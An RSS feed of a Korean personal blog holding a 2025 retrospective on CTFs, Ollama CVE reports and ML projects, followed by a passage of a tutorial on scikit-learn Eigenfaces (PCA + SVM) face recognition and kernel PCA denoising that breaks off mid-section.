<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>KiMH.log</title>
        <link>https://velog.io/</link>
        <description>Hi, I'm KiMH</description>
        <lastBuildDate>Tue, 13 Jan 2026 18:07:32 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>KiMH.log</title>
            <url>https://velog.velcdn.com/images/ki--mh/profile/721b82dc-7caa-4679-bc89-1265c4c505eb/image.jpg</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. KiMH.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/ki--mh" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[Looking back on 2025]]></title>
            <link>https://velog.io/@ki--mh/Looking-back-on-2025</link>
            <guid>https://velog.io/@ki--mh/Looking-back-on-2025</guid>
            <pubDate>Tue, 13 Jan 2026 18:07:32 GMT</pubDate>
            <description><![CDATA[<p>이 글은 2026년의 첫 달이 절반정도 지나간 지금, 2025년도의 김명현은 각 분야에서 어떤 이야기를 써왔는지 회고하고자 쓰는 글이다.</p>
<p>ML/DL, AISec&amp;Security 두 분야에 걸쳐 돌아보고자 한다.</p>
<h4 id="security--aisec">Security &amp; AISec</h4>
<p>&#39;보안&#39;이라는 분야와 AISec 분야에 대해서는 분리가 참 애매하다.</p>
<p>공통점이 있으면서도, 인공지능 보안을 흔히 다루는 오펜시브와 엮기에 편치 않은 부분이 있기에 그러한 것도 있다.</p>
<p>인공지능 보안 연구원이라는 이름 하에 대줄기적으로 진행한 것은 LAB에서 연구원으로 지내며 마무리한 사업이 가장 일상적이었다.</p>
<p>AISec을 주제로한 컨퍼런스 발표와 CTF에 AISec을 기반으로 ACSC2025 문제 출제를 한 것이 특별하게 기억에 남는다.</p>
<p>AISec에 대한 컨퍼런스 발표를 하며 최근 해당 분야에 대해 관심을 가지고 공부를 시작하고자 하는 사람이 많다는 것을 알게 된 것도 하나의 신기한 사실이다. 2-3년 전에 처음으로 인공지능 보안(그 중에서도 Safety)을 시작할 때만 해도 그리 많지 않았었는데, 벌써 많은 발전이 이뤄진 듯 하다.</p>
<p>AI Safety에 대해서 2025년도를 본다면 논문을 준비한 해였고, 2026년도는 SCI A급 이상의 논문을 쓰기 위한 어떤 움직임을 보이고자 한다.</p>
<p>일반적으로 해커 관점에서는(AI보안을 곁들인.) CTF를 좋아했던 1년이 아닌가 싶다. 처음으로 나름 큰 대회 UIUCTF2025에서 10위를 해보기도 하였고(물론 별 큰 대회는 아니지만, 혼자 온 몸 비틀기로 수상권 점수를 얻은게 처음이라 ..) 여타 참여한 대회들에서도 1인분은 하며 &quot;좀 치는데&quot; 하는 인정을 많이 받은 1년이다.</p>
<p>Ollama CVE를 2개 reservation 받은 것 또한 꽤나 기분이 좋았다. 첫 CVE는 AI 서비스에서 받고 싶은 마음이 컸는데, AI Model의 로드 부분에서 발생되는 Panic DoS를 찾아 이제 공개를 앞두고 있다. 이를 위해 희생된 Duplicate 취약점들(scapy rce, tensorflow path traversal,, e.t.c.)이 기억에 남는다.</p>
<p>2026년도에도 취약점 분석은 개인적으로 진행해서 NVIDIA, PyTorch 등등 여러 굵직한 타겟에서 취약점을 발굴해보고자 한다.</p>
<p>AI를 활용한 보안 분야에 LLM으로 취약점을 찾는 것들이 유행아닌 유행을 했다. 나도 OVF(내가 지은 이름 ..)를 만들어 보았는데, 1day 취약점을 잘 찾는 것을 보아 꽤나 쓸만해 보였다. False Positive를 줄이기 위해 어떤 알고리즘을 적용해야 할지 고민중이다.</p>
<p>기회가 된다면 이후에 OVF의 개발일지부터, 실적까지 post해 보겠다.</p>
<h4 id="mldl">ML/DL</h4>
<p>머신러닝과 딥러닝 부분에서는 프로젝트, 외주 기반으로 활동을 했다.</p>
<p>2025년도 초반에 ASK2025에서 Face Analysis를 통한 헤어스타일 RecSys Pipeline 구축과정에서 Model Architecture를 설계하는 등의 활동으로 학술지  제출하고, 운 좋게 대학부에서 1등을 하여 ASK2025 대상을 수상받을 수 있었다.</p>
<p>Voice Clone과 관련하여 음색, 음정을 보존한 AI Dubbing Service도 제작한 프로젝트도 재미있던 프로젝트로 기억에 남는다.</p>
<p>1년에서 가장 큰 일은 아니지만 가장 이름 값있는 외주도 진행 중이다(2025.11 ~ 2026.01).</p>
<p>Microsoft Sigapore에서 진행하는 고객사 대상 Copilot+ PC Demo에서 NPU Optimization AI Service Demo APP 개발과 관련해 AI 파트로 개발을 진행했다. 자세한 이야기는 풀지 못하지만 프로젝트를 진행하며 ML 지식 기반으로 알고리즘을 개발한다던가, 임베디드 기기에 대한 지식을 조금 더 깊게 학습(피지컬적인 부분)하는 것들을 기반으로 개발 후 시뮬레이션 결과를 뽑았을 때 결과치가 너무 좋아 도파민 터졌던 기억이 있다. (현재는 개발은 마무리 완료 상태)</p>
<h4 id="other-stories">other stories</h4>
<p>바쁘게 살아왔는데, 또 돌아보니 뭐했더라 하고 기억이 안난다.</p>
<p>ASC는 나름 회장의 역할을 잘 끝마쳤다고 할 수 있고, H4C라는 팀도 들어갔고, LAB에서는 연구, 서비스 솔루션, 팀리드를 맡아서 하고 있고, 외주와 대회, 개인적인 연구 및 공부 등등으로 살아온 2025년도이다. (재미찾아서 갑자기 tp-link도 따보고..)</p>
<p>성장했다는 소리를 들을 때마다 실감이 안나다가도 작년과는 다른 나를 발견할 때면 괜시리 뿌듯하긴 하다.</p>
<p>2024년도 회고에서</p>
<pre><code>1. 상반기 인공지능 대회 대상
2. AISec으로 누구나 인정할만한 실적내기
3. 보안 분야에서 얘 괜찮게 해 정도의 소리는 듣기
4. 좋은 주제를 잡고, 높은 티어의 논문을 내기 위한 준비
5. 상반기 내에 취업</code></pre><p>이런 목표를 세워던 나를 보면 음.. 1번은 어림도 없었고.. 학술대회도 대상으로 쳐주면 인정 ㅋㅋ..
AISec으로 누구나 인정할만한 실적은 뭐였을까 (ACDC2025 였을까.. &lt;- 이 친구도 참 엮인 스토리가 많다.)
보안 분야에서 괜찮게 해 정도의 소리는 좀 들었던 것 같다. (나름,,?)
높은 티어의 논문을 내기위한 준비는 꽤나 잘한 것 같다.
상반기에 취업은 기회가 없진 않았는데, 교수님의 그늘에서 벗어날 깜냥이를 기르는게 먼저임을 나는 왜 몰랐을까</p>
<p>목표를 아예 못 이루지도 않았지만 애매한 부분이 있긴하다. 목표라는게 원래 되게 구체적이어야 하는데 2024년의 나도 참 어린 부분이 많았던것 같다는 생각을 하게된다.</p>
<p>이번 년도에는 사실 거창하게 보다는, &quot;사소한 기회라도 놓치지 않는 삶&quot;을 사는게 목표이다. 평상시와 같이 폭 넓으나 내 분야에서는 누구보다 깊은 지식을 쌓기위해 공부하고 연구하는 것을 하다보면 자연스레 뭔가 계속 얻어지는 것 같다.</p>
<p>임베디드도 만지게 되고, 포너블도 하게되고, 시스템도 공부하게 되고, 인공지능도 잘하게 되고 등등등 ..</p>
<p>단순하게 늘 하던대로 취약점 발굴하고, 대회 수상하고, 회사든 랩실이든 기여하는 실적을 쌓고, 내게 필요한 공부를 하고, 주어진 사소한 상황에서 최고를 보여주면 되는 듯 하다.</p>
<p>아, 하나 생각나는 유일한 어떻게든 지키며 해야할 것은 <strong>&quot;기록&quot;</strong> 이다.. velog도 안쓰고, github도 안쓰고, site 만들어두고 업데이트도 안하고.. 기록하는 삶을 살도록 해야겠다.</p>
<p>2026년도는 더 나아지길 기도하며 회고를 마친다.</p>
<p>끝.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[PCA 기반 얼굴 인식(Eigenfaces) & (Kernel) PCA 기반 이미지 디노이징]]></title>
            <link>https://velog.io/@ki--mh/PCA-%EA%B8%B0%EB%B0%98-%EC%96%BC%EA%B5%B4-%EC%9D%B8%EC%8B%9DEigenfaces-Kernel-PCA-%EA%B8%B0%EB%B0%98-%EC%9D%B4%EB%AF%B8%EC%A7%80-%EB%94%94%EB%85%B8%EC%9D%B4%EC%A7%95</link>
            <guid>https://velog.io/@ki--mh/PCA-%EA%B8%B0%EB%B0%98-%EC%96%BC%EA%B5%B4-%EC%9D%B8%EC%8B%9DEigenfaces-Kernel-PCA-%EA%B8%B0%EB%B0%98-%EC%9D%B4%EB%AF%B8%EC%A7%80-%EB%94%94%EB%85%B8%EC%9D%B4%EC%A7%95</guid>
            <pubDate>Mon, 08 Dec 2025 12:15:09 GMT</pubDate>
            <description><![CDATA[<h2 id="목차">목차</h2>
<ol>
<li><a href="#a-eigenfaces-pca--svm-%EC%96%BC%EA%B5%B4-%EC%9D%B8%EC%8B%9D">A. Eigenfaces (PCA) + SVM 얼굴 인식</a>  <ol>
<li>코드 블록별 해설  </li>
<li>(A-Q1~Q6) 질문 답변  </li>
<li>파라미터 변경 시 결과/수학적 의미  </li>
<li>재밌게 이론 검증해보기</li>
</ol>
</li>
<li><a href="#b-kernel-pca%EB%A1%9C-%EC%9D%B4%EB%AF%B8%EC%A7%80-%EB%94%94%EB%85%B8%EC%9D%B4%EC%A7%95">B. (Kernel) PCA로 이미지 디노이징</a>  <ol>
<li>코드 블록별 해설  </li>
<li>(B-Q1~Q7) 질문 답변  </li>
<li>재밌게 파라미터 변화 실험</li>
</ol>
</li>
<li>결론</li>
</ol>
<hr>
<h1 id="a-eigenfaces-pca--svm-얼굴-인식">A. Eigenfaces (PCA) + SVM 얼굴 인식</h1>
<h2 id="a-0-문제-설정-한-줄-요약">A-0. 문제 설정 한 줄 요약</h2>
<p>얼굴 이미지는 픽셀을 일렬로 펼치면 차원이 매우 커집니다(수천~수만 차원).<br><strong>PCA로 “얼굴들이 주로 변하는 방향(주성분)”만 남겨 저차원 표현(=eigenface 계수)을 만들고</strong>, 그 공간에서 <strong>SVM</strong>으로 사람을 분류합니다.</p>
<hr>
<h2 id="a-1-코드-블록별-해설-scikit-learn-예제-기준">A-1. 코드 블록별 해설 (scikit-learn 예제 기준)</h2>
<h3 id="1-라이브러리-임포트">(1) 라이브러리 임포트</h3>
<ul>
<li><code>fetch_lfw_people</code>: LFW 얼굴 데이터 로더</li>
<li><code>PCA</code>: 주성분 분석</li>
<li><code>SVC</code>: RBF SVM 분류기</li>
<li><code>StandardScaler</code>: 스케일/표준화</li>
<li><code>RandomizedSearchCV</code>, <code>loguniform</code>: (C, γ) 하이퍼파라미터 탐색</li>
<li><code>classification_report</code>, <code>ConfusionMatrixDisplay</code>: 정량 평가/시각화</li>
</ul>
<p><strong>이렇게 나누는 이유</strong>  </p>
<ul>
<li><strong>비지도 학습(PCA)</strong>로 특징을 뽑고 → <strong>지도 학습(SVM)</strong>으로 분류하는 “unsupervised + supervised chaining” 구조입니다.</li>
</ul>
<hr>
<h3 id="2-데이터-로드-fetch_lfw_peoplemin_faces_per_person70-resize04">(2) 데이터 로드: <code>fetch_lfw_people(min_faces_per_person=70, resize=0.4)</code></h3>
<p>핵심 파라미터:</p>
<ul>
<li><p><code>min_faces_per_person=70</code><br>한 사람(클래스)당 <strong>최소 70장</strong> 이상 있는 사람만 남깁니다.  </p>
<ul>
<li><strong>왜 70?</strong> 너무 적은 샘플을 포함하면 클래스별 분산 추정이 불안정하고, train/test로 나눴을 때 어떤 사람은 학습 샘플이 너무 적어집니다.  </li>
<li>값을 낮추면: <strong>더 많은 사람(클래스)</strong>이 포함되지만, 각 클래스 샘플 수가 줄어 <strong>과적합/불균형</strong> 위험이 커집니다.  </li>
<li>값을 올리면: <strong>클래스 수가 줄고</strong> 데이터가 “유명 인물 소수”에 집중되며, 분류가 쉬워질 수도 있지만 문제 자체가 단순해질 수 있습니다.</li>
</ul>
</li>
<li><p><code>resize=0.4</code><br>이미지를 원본 대비 0.4배로 줄여 <strong>특징 수(n_features)</strong>를 크게 줄입니다.  </p>
<ul>
<li><strong>왜 0.4?</strong> 얼굴 픽셀을 그대로 쓰는 모델(SVM)은 차원이 커질수록 학습/탐색이 비싸집니다. 해상도를 줄이면 차원이 줄어 속도가 좋아집니다.  </li>
<li>너무 작게 줄이면(예: 0.1): 얼굴의 구분 정보(눈/코 윤곽)가 뭉개져 성능이 떨어질 수 있습니다.  </li>
<li>너무 크게(예: 1.0): 정확도는 오를 수 있으나 <strong>연산량/메모리</strong>가 급증합니다.</li>
</ul>
</li>
</ul>
<p>데이터는 다음처럼 다룹니다.</p>
<ul>
<li><code>lfw_people.images</code>는 (n_samples, h, w) 형태의 이미지 텐서</li>
<li><code>lfw_people.data</code>는 (n_samples, n_features) 형태의 <strong>flatten된 벡터</strong><br>→ 이 예제는 “픽셀 위치의 2D 구조(인접성)”를 <strong>모델이 직접 쓰지 않습니다</strong>. (CNN이 아닌, 전통적 ML 설정)</li>
</ul>
<h4 id="예제-출력원문">예제 출력(원문)</h4>
<pre><code class="language-text">Total dataset size:
n_samples: 1288
n_features: 1850
n_classes: 7</code></pre>
<p>→ 즉, 0.4 리사이즈 후에도 한 장이 1850차원(픽셀)로 꽤 큽니다.</p>
<hr>
<h3 id="3-학습평가-분리-train_test_splittest_size025-random_state42">(3) 학습/평가 분리: <code>train_test_split(test_size=0.25, random_state=42)</code></h3>
<ul>
<li><code>test_size=0.25</code>: 데이터의 25%를 테스트로 사용  <ul>
<li>테스트를 너무 작게 잡으면: 평가 분산이 큼  </li>
<li>너무 크게 잡으면: 학습 데이터가 부족해짐<br>25%는 간단 예제에서 흔한 절충입니다.</li>
</ul>
</li>
<li><code>random_state=42</code>: 재현성(같은 분할 유지)</li>
</ul>
<p>예제에서는 1288장의 25%인 약 322장을 테스트로 쓰고, 나머지 966장으로 학습합니다.</p>
<hr>
<h3 id="4-표준화-standardscaler">(4) 표준화: <code>StandardScaler()</code></h3>
<p>픽셀(feature)마다 분산이 다를 수 있고, 조명/명암으로 전체 값 범위가 흔들릴 수 있습니다.</p>
<ul>
<li><p><code>StandardScaler</code>는 각 feature에 대해  </p>
<p>$x&#39; = \frac{x - \mu}{\sigma}$</p>
<p>로 변환합니다.</p>
</li>
<li><p><strong>Why Need</strong></p>
<ul>
<li>PCA는 기본적으로 입력을 <strong>center(평균 제거)</strong> 하지만, feature별 스케일을 맞춰주진 않습니다.</li>
<li>SVM(RBF)은 거리 $( |x-x&#39;| )$에 민감하므로, 스케일 불균형이 있으면 특정 픽셀이 과도하게 영향을 미칩니다.</li>
</ul>
</li>
</ul>
<blockquote>
<p>제가 실제로 경험해본 ML에서는 <code>StandardScaler</code>와 <code>whiten=True</code>는 “둘 다 스케일링”이지만 대상이 다릅니다.  </p>
<ul>
<li>StandardScaler: <strong>픽셀(feature)</strong> 단위로 분산을 1로  </li>
<li>whitening: <strong>주성분(component)</strong> 단위로 분산을 1로<br>둘을 동시에 쓰면 “픽셀 스케일 불균형”과 “주성분 스케일 불균형”을 모두 줄인다는 의도가 됩니다.</li>
</ul>
</blockquote>
<hr>
<h3 id="5-pca-학습-pcan_components150-svd_solverrandomized-whitentrue">(5) PCA 학습: <code>PCA(n_components=150, svd_solver=&quot;randomized&quot;, whiten=True)</code></h3>
<p>핵심 파라미터 3개를 분해해서 이해하면 됩니다.</p>
<h4 id="5-1-n_components150의-의미">5-1) <code>n_components=150</code>의 의미</h4>
<ul>
<li><p>PCA는 공분산 $\Sigma$ 의 고유값/고유벡터를 구해, 분산이 큰 순서대로 축을 정렬합니다.</p>
</li>
<li><p>상위 150개 성분만 남기면,</p>
<p>$
x \approx \mu + \sum_{i=1}^{150} z_i v_i
$</p>
<p>로 근사합니다.</p>
</li>
<li><p><strong>왜 150?</strong></p>
<ul>
<li>너무 적으면: 얼굴 구분에 필요한 변동(표정/조명/개인차)까지 잘라 성능 하락</li>
<li>너무 많으면: 계산 비용 증가 + 노이즈 성분까지 포함이 가능해집니당
예제는 “속도-성능” 으로 해당 트레이드 오프를 고려해서인지 150을 택합니다. 세부적인 실험은 수행해보지 않았습니다</li>
</ul>
</li>
</ul>
<p>예제 출력:</p>
<pre><code class="language-text">Extracting the top 150 eigenfaces from 966 faces
done in 0.087s
Projecting the input data on the eigenfaces orthonormal basis
done in 0.006s</code></pre>
<h4 id="5-2-svd_solverrandomized의-의미">5-2) <code>svd_solver=&quot;randomized&quot;</code>의 의미</h4>
<ul>
<li>큰 행렬에서 SVD를 정확히 하면 비용이 큽니다.</li>
<li><code>randomized</code>는 “상위 일부 성분만” 필요할 때 <strong>근사적으로 빠르게</strong> 구하는 알고리즘 계열입니다.<br>직관: 전체 SVD 대신 “필요한 랭크 근처만” 랜덤 프로젝션으로 추정합니다.</li>
</ul>
<h4 id="5-3-whitentrue의-의미수학직관">5-3) <code>whiten=True</code>의 의미(수학/직관)</h4>
<p>PCA 변환 결과 $z$는 성분 간 상관은 0이지만(대각 공분산), 각 성분의 분산은 $\lambda_i$ 로 다릅니다.</p>
<ul>
<li><p>Whitening은</p>
<p>$
z_i^{\text{white}} = \frac{z_i}{\sqrt{\lambda_i}}
$</p>
<p>로 스케일링하여 <strong>모든 성분의 분산을 1로 맞춥니다</strong>.</p>
</li>
<li><p>장점: RBF SVM처럼 거리 기반 모델에서 “특정 주성분(큰 분산)”이 거리를 지배하는 현상을 줄여 <strong>등방성(isotropic)</strong>에 가깝게 만듭니다.</p>
</li>
<li><p>단점: 상대적 분산 정보(“어느 방향이 더 중요했는지”)를 일부 버리고, 작은 $\lambda_i$ 방향을 과증폭하여 노이즈를 키울 수도 있습니다.</p>
</li>
</ul>
<hr>
<h3 id="6-eigenface-생성-pcacomponents_reshapen_components-h-w">(6) Eigenface 생성: <code>pca.components_.reshape((n_components, h, w))</code></h3>
<ul>
<li><code>pca.components_</code>는 각 주성분 벡터 $v_i$ (길이 n_features)를 담습니다.</li>
<li>이를 (h, w)로 reshape하면 <strong>“고유얼굴(eigenface)” 이미지</strong>가 됩니다.</li>
<li>의미: 데이터셋 전체에서 자주 등장하는 “밝기/그림자/윤곽 변화 패턴”이 시각화됩니다.</li>
</ul>
<hr>
<h3 id="7-svm-학습--하이퍼파라미터-탐색">(7) SVM 학습 + 하이퍼파라미터 탐색</h3>
<p>핵심은 이 부분입니다.</p>
<ul>
<li><p>모델: <code>SVC(kernel=&quot;rbf&quot;, class_weight=&quot;balanced&quot;)</code></p>
<ul>
<li><p><code>rbf</code>는</p>
<p>$
k(x, x&#39;) = \exp(-\gamma |x-x&#39;|^2)
$</p>
<p>형태의 커널을 씁니다.</p>
</li>
<li><p><code>class_weight=&quot;balanced&quot;</code>는 클래스별 샘플 수 차이를 보정해, 적은 클래스가 무시되지 않게 합니다.</p>
</li>
</ul>
</li>
<li><p>탐색: <code>RandomizedSearchCV(..., n_iter=10)</code></p>
<ul>
<li><code>C ~ loguniform(1e3, 1e5)</code><br>C는 오분류 패널티(정규화 강도 역수). 보통 로그 스케일로 효과가 바뀌므로 log-uniform이 합리적입니다.</li>
<li><code>gamma ~ loguniform(1e-4, 1e-1)</code><br>γ는 RBF의 “폭”을 결정합니다. γ가 크면 결정경계가 더 <strong>국소적(복잡)</strong>, 작으면 더 <strong>전역적(부드러움)</strong>.</li>
<li><code>n_iter=10</code>은 “예제 수준에서 시간 제한”을 고려한 단순한 예제를 보여주기 위함인 것 같습니다.<br>GridSearch로 촘촘히 돌리면 비용이 폭증하므로, 넓은 범위는 랜덤 탐색이 유리합니다.</li>
</ul>
</li>
</ul>
<p>예제 출력:</p>
<pre><code class="language-text">Fitting the classifier to the training set
done in 6.049s
Best estimator found by grid search:
SVC(C=..., class_weight=&#39;balanced&#39;, gamma=...)</code></pre>
<hr>
<h3 id="8-평가-classification-report--confusion-matrix--갤러리">(8) 평가: classification report + confusion matrix + 갤러리</h3>
<ul>
<li><code>classification_report</code>: precision/recall/F1 등 지표</li>
<li><code>ConfusionMatrixDisplay.from_estimator(..., display_labels=..., xticks_rotation=&quot;vertical&quot;)</code><ul>
<li>라벨을 사람 이름으로 표시</li>
<li>세로 회전은 긴 이름이 겹치는 것을 방지</li>
</ul>
</li>
</ul>
<p>예제에서는 전체 정확도 약 0.84로 보입니다(테스트 322장 기준).<br>또한 Bush/Blair/Powell 등 인물이 상대적으로 잘 맞고, Chavez 같은 상대적으로 샘플이 적거나 변동이 큰 인물은 recall이 낮게 나올 수 있습니다.</p>
<ul>
<li><code>plot_gallery(images, titles, h, w, n_row=3, n_col=4)</code><ul>
<li><code>figsize=(1.8*n_col, 2.4*n_row)</code>는 12장(3×4)을 보기 좋게 배치하는 휴리스틱</li>
<li><code>subplots_adjust</code>로 여백/간격 조정</li>
</ul>
</li>
<li><code>title(...)</code> 함수는 예측/정답 이름의 마지막 성(surname)만 뽑아 표시합니다(<code>rsplit(&quot; &quot;, 1)</code>).</li>
</ul>
<hr>
<h2 id="a-2-q1q6-질문-답변">A-2. (Q1~Q6) 질문 답변</h2>
<h3 id="q1-why-pca-왜-얼굴-인식에서-pca를-사용하는가">Q1) Why PCA? 왜 얼굴 인식에서 PCA를 사용하는가?</h3>
<p>1) <strong>차원 축소(속도/메모리)</strong><br>   픽셀을 펼친 특징은 매우 고차원입니다. RBF SVM 같은 모델은 입력 차원이 크면 학습이 느려지고 과적합 위험이 커집니다.</p>
<p>2) <strong>노이즈/중복 제거(통계적 효율)</strong><br>   얼굴 이미지는 픽셀 간 상관이 큽니다(인접 픽셀 밝기 비슷). PCA는 상관 구조를 요약해 <strong>중복 정보를 압축</strong>합니다.</p>
<p>3) <strong>샘플 수 &lt; 차원(“small n, large p”) 문제 완화</strong><br>   얼굴 데이터는 보통 “사람 수/이미지 수”가 픽셀 차원보다 작기 쉬워 공분산 추정이 불안정합니다. PCA는 효과적인 저차원 표현을 제공합니다.</p>
<hr>
<h3 id="q2-what-exactly-is-an-eigenface">Q2) What exactly is an eigenface?</h3>
<ul>
<li><p>평균 얼굴 $\mu$ 를 뺀 얼굴 벡터들의 공분산 $\Sigma$ 에 대해<br>$
\Sigma v_i = \lambda_i v_i
$</p>
<p>를 만족하는 고유벡터 $v_i$를 이미지 모양으로 reshape한 것이 <strong>eigenface</strong>입니다.</p>
</li>
<li><p>직관: “데이터셋 전체에서 가장 자주 나타나는 변화 방향”을 얼굴 이미지 형태로 보여줌.</p>
<ul>
<li>1번 eigenface: 조명 방향/전체 밝기 변화</li>
<li>다음 eigenface: 얼굴 윤곽/눈썹/안경 등 변동 패턴</li>
</ul>
</li>
</ul>
<hr>
<h3 id="q3-왜-whitening을-적용하는가">Q3) 왜 whitening을 적용하는가?</h3>
<ul>
<li>PCA 좌표 $z$는 성분 간 상관은 없지만, 분산이 $\lambda_i$로 달라서 1~몇 개 주성분이 거리를 지배할 수 있습니다.</li>
<li>Whitening은 분산을 1로 맞춰:<ul>
<li>(특히 RBF처럼 거리 기반) <strong>각 성분이 비슷한 스케일로 기여</strong></li>
<li>SVM 하이퍼파라미터(γ)가 특정 축 스케일에 덜 민감  </li>
</ul>
</li>
<li>단, 작은 고유값 성분을 과도하게 키워 노이즈를 증폭할 수 있어서 <strong>항상 유리하진 않습니다</strong>.</li>
</ul>
<hr>
<h3 id="q4-pca가-버리는-정보는-무엇인가">Q4) PCA가 버리는 정보는 무엇인가?</h3>
<p>PCA가 버리는 것은 “작은 분산 방향”입니다. 구체적으로는:</p>
<p>1) <strong>미세한 디테일/고주파 성분</strong><br>   고유값이 작은 성분은 데이터셋에서 덜 흔한 변화인데, 종종 미세한 구분 정보(점, 주름, 작은 윤곽)를 포함할 수 있습니다.
2) <strong>분류에 유용하지만 분산이 작은 방향</strong><br>   PCA는 분산 최대화가 목적이지, 클래스 분리 최대화가 목적이 아닙니다.<br>   → “분류에는 중요하지만 전체 분산은 작다”면 잘릴 수 있습니다.
3) (예제의 전처리 자체가) <strong>공간적 위치 관계</strong><br>   이미지를 벡터로 펼치므로 “눈-코-입의 상대 위치”라는 2D 구조적 제약은 모델이 직접 사용하지 못합니다.</p>
<hr>
<h3 id="q5-why-use-svm-after-pca-instead-of-svm-directly">Q5) Why use SVM after PCA instead of SVM directly?</h3>
<ul>
<li><strong>연산량 감소:</strong><br>RBF SVM은 거리 계산/커널 행렬 계산이 비싸고, 차원이 커지면 적절한 γ 탐색도 어려워집니다.</li>
<li><strong>일반화 개선:</strong><br>고차원 픽셀은 노이즈와 상관구조가 커서 SVM이 불필요한 방향까지 맞추기 쉬운데, PCA가 이를 “정규화(denoise + compress)”합니다.</li>
<li><strong>하이퍼파라미터 탐색 안정화:</strong><br>차원이 큰 원공간에서 γ의 적정 범위는 매우 민감합니다. PCA(+whiten)는 스케일을 정리해 탐색을 좀 더 안정화할 수 있습니다.</li>
</ul>
<hr>
<h3 id="q6-what-is-the-geometry-of-svm-in-pca-space">Q6) What is the geometry of SVM in PCA space?</h3>
<p>PCA를 거친 좌표를 $z \in \mathbb{R}^k$ 라고 하면:</p>
<ul>
<li><p><strong>선형 SVM</strong>이면:<br>$
f(z) = w^T z + b
$</p>
<p>로 표현되고, 결정경계는 PCA 공간에서 “평면(초평면)”입니다.<br>마진은 $2/|w|$ 로, PCA 공간에서의 유클리드 거리 기준 최대 마진을 찾습니다.</p>
</li>
<li><p><strong>RBF SVM</strong>이면:<br>결정함수는</p>
<p>$
f(z) = \sum_i \alpha_i y_i \exp(-\gamma |z - z_i|^2) + b$</p>
<p>형태로, PCA 공간에서 <strong>지원 벡터 주변에 방사형으로 영향이 퍼지는 비선형 경계</strong>가 만들어집니다.</p>
</li>
<li><p><strong>Whitening이 켜져 있으면</strong><br> $|z-z&#39;|^2$ 가 사실상 원공간에서의 <strong>마할라노비스 거리</strong>와 유사한 의미를 갖습니다(각 주성분 분산을 1로 맞췄기 때문).<br>즉, “큰 분산 축만 과대평가하지 않는 거리”로 RBF가 작동합니다.</p>
</li>
</ul>
<hr>
<h2 id="a-3-파라미터-변경-시-결과수학적-의미">A-3. 파라미터 변경 시 결과/수학적 의미</h2>
<h3 id="i-n_components를-바꾸면">(i) <code>n_components</code>를 바꾸면?</h3>
<ul>
<li><p>k를 줄이면: $\hat x = \mu + \sum_{i=1}^k z_i v_i$ 근사에서 더 많은 성분이 누락 → 재구성 오차 증가  </p>
<ul>
<li>대개 <strong>속도↑, 과적합↓, 성능은 어느 지점까지 유지</strong>  </li>
<li>너무 줄이면 <strong>정보 부족(underfit)</strong></li>
</ul>
</li>
<li><p>k를 늘리면: 근사 오차 감소, 하지만 노이즈/희귀 변동까지 포함 가능  </p>
<ul>
<li><strong>속도↓, 때로는 과적합↑</strong></li>
</ul>
</li>
</ul>
<h3 id="ii-resize를-바꾸면">(ii) <code>resize</code>를 바꾸면?</h3>
<p>해상도는 곧 n_features입니다.</p>
<ul>
<li>resize↑ → 특징수↑ → SVM 학습·탐색 비용 급증  </li>
<li>resize↓ → 특징수↓ → 정보 손실 가능</li>
</ul>
<h3 id="iii-whiten을-끄면">(iii) <code>whiten</code>을 끄면?</h3>
<ul>
<li>장점: 상대적 분산(“큰 변동 축”)을 그대로 유지 → 어떤 데이터에서는 그게 분류에 도움  </li>
<li>단점: RBF 거리에서 큰 분산 축이 지나치게 우세 → γ 튜닝 민감</li>
</ul>
<hr>
<h2 id="a-4-재밌게-이론-검증해보기">A-4. 재밌게 이론 검증해보기</h2>
<p>해당 코드에서 가져가는 구조는 표준화, PCA, SVM을 <code>load_digits</code> 으로 실행하고 있습니다.</p>
<p>그래서, <strong>동일한 구조(표준화→PCA→SVM)</strong>를 <code>load_digits</code>로 실행해 “전처리 차이가 결과에 어떤 영향을 주는지”를 확인했습니다.</p>
<h3 id="실행-결과내장-digits-작은-랜덤-탐색">실행 결과(내장 digits, 작은 랜덤 탐색)</h3>
<ul>
<li>설정: train 500 / test 200, RandomizedSearchCV(n_iter=20, cv=2)</li>
<li>결과(정확도):<ul>
<li>SVM 직접(픽셀): <strong>0.965</strong></li>
<li>PCA(32) + SVM (whiten=False): <strong>0.985</strong></li>
<li>PCA(32) + SVM (whiten=True): <strong>0.960</strong></li>
</ul>
</li>
</ul>
<p>열심히 해석해 본 결과:</p>
<ul>
<li>PCA 이후 성능이 좋아질 수 있는 이유(차원축소·노이즈 억제)가 실제로 관찰됨.</li>
<li>Whitening은 “항상” 이득이 아니라, <strong>데이터/γ 범위/노이즈 구조</strong>에 따라 손해일 수도 있음을 보여줌. (얼굴 예제에서는 whitening이 종종 도움이 되도록 세팅됨)</li>
</ul>
<hr>
<h1 id="b-kernel-pca로-이미지-디노이징">B. (Kernel) PCA로 이미지 디노이징</h1>
<h2 id="b-0-문제-설정-한-줄-요약">B-0. 문제 설정 한 줄 요약</h2>
<p>노이즈가 섞인 이미지 $x_{noisy} = x + \epsilon$ 를<br>PCA 또는 KernelPCA로 저차원 표현으로 투영한 뒤 다시 복원하여 $\epsilon$ 성분을 줄입니다.</p>
<hr>
<h2 id="b-1-코드-블록별-해설-scikit-learn-예제-기준">B-1. 코드 블록별 해설 (scikit-learn 예제 기준)</h2>
<h3 id="1-데이터-로드-fetch_openmldata_id41082--minmaxscaler">(1) 데이터 로드: <code>fetch_openml(data_id=41082)</code> + <code>MinMaxScaler()</code></h3>
<ul>
<li>USPS digits를 OpenML에서 불러오고</li>
<li>픽셀 값을 (0, 1)로 정규화합니다.</li>
</ul>
<p><strong>왜 MinMaxScaler로 [0,1]?</strong></p>
<ul>
<li>노이즈 표준편차 <code>scale=0.25</code> 같은 값은 입력 스케일에 민감합니다.<br>픽셀이 [0,1]이면 “0.25짜리 가우시안 노이즈”가 어느 정도 센지 직관적입니다.</li>
<li>커널 PCA의 <code>gamma</code>도 거리 스케일에 매우 민감하므로, 스케일을 고정하는 것이 중요합니다.</li>
</ul>
<hr>
<h3 id="2-traintest-split--노이즈-추가">(2) train/test split + 노이즈 추가</h3>
<ul>
